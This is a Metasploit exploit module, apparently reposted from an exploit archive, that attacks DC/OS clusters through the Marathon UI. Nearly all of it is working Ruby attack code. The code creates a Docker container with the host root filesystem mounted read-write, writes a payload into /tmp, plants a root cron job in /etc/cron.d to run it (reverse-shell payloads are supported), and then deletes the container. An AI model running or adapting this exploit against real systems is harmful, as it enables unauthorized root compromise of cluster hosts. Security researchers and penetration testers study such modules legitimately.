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DC/OS Marathon UI Docker Privilege Escalation

Posted on 07 June 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'DC/OS Marathon UI Docker Exploit',
'Description' => %q{
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
a docker container with the '/' path mounted with read/write
permissions on the host server that is running the docker container.
As the docker container executes command as uid 0 it is honored
by the host operating system allowing the attacker to edit/create
files owed by root. This exploit abuses this to creates a cron job
in the '/etc/cron.d/' path of the host server.

*Notes: The docker image must be a valid docker image from
hub.docker.com. Further more the docker container will only
deploy if there are resources available in the DC/OS cluster.
},
'Author' => 'Erik Daguerre',
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],
],
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 03, 2017'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
])
end

def get_apps
res = send_request_raw({
'method' => 'GET',
'uri' => target_uri.path
})
return unless res and res.code == 200

# verify it is marathon ui, and is returning content-type json
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'
apps = JSON.parse(res.body)

apps
end

def del_container(container_id)
res = send_request_raw({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, container_id)
})
return unless res and res.code == 200

res.code
end

def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

rand_text_alpha_lower(8)
end

def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
payload_data = nil
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path

cron_command = "python #{payload_path}"
payload_data = payload.raw

command = "echo "#{payload_data}" >> #{echo_payload_path}
"
command << "echo "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin" >> #{echo_cron_path}
"
command << "echo "" >> #{echo_cron_path}
"
command << "echo "* * * * * root #{cron_command}" >> #{echo_cron_path}
"
command << "sleep 120"

command
end

def make_container(mnt_path, cron_path, payload_path, container_id)
vprint_status('Setting container json request variables')
container_data = {
'cmd' => make_cmd(mnt_path, cron_path, payload_path),
'cpus' => 1,
'mem' => 128,
'disk' => 0,
'instances' => 1,
'id' => container_id,
'container' => {
'docker' => {
'image' => datastore['DOCKERIMAGE'],
'network' => 'HOST',
},
'type' => 'DOCKER',
'volumes' => [
{
'hostPath' => '/',
'containerPath' => mnt_path,
'mode' => 'RW'
}
],
},
'env' => {},
'labels' => {}
}

container_data
end

def check
return Exploit::CheckCode::Safe if get_apps.nil?

Exploit::CheckCode::Appears
end

def exploit
if get_apps.nil?
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
end
# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id()

res = send_request_raw({
'method' => 'POST',
'uri' => target_uri.path,
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
})
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201

print_status('The docker container is created, waiting for it to deploy')
register_files_for_cleanup(cron_path, payload_path)
sleep_time = 5
wait_time = datastore['WAIT_TIMEOUT']
deleted_container = false
print_status("Waiting up to #{wait_time} seconds for docker container to start")

while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
apps_status = get_apps
fail_with(Failure::Unknown, 'No apps returned') unless apps_status

apps_status['apps'].each do |app|
next if app['id'] != "/#{container_id}"

if app['tasksRunning'] == 1
print_status('The docker container is running, removing it')
del_container(container_id)
deleted_container = true
wait_time = 0
else
vprint_status('The docker container is not yet running')
end
break
end
end

# If the docker container does not deploy remove it and fail out.
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to start")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end

 

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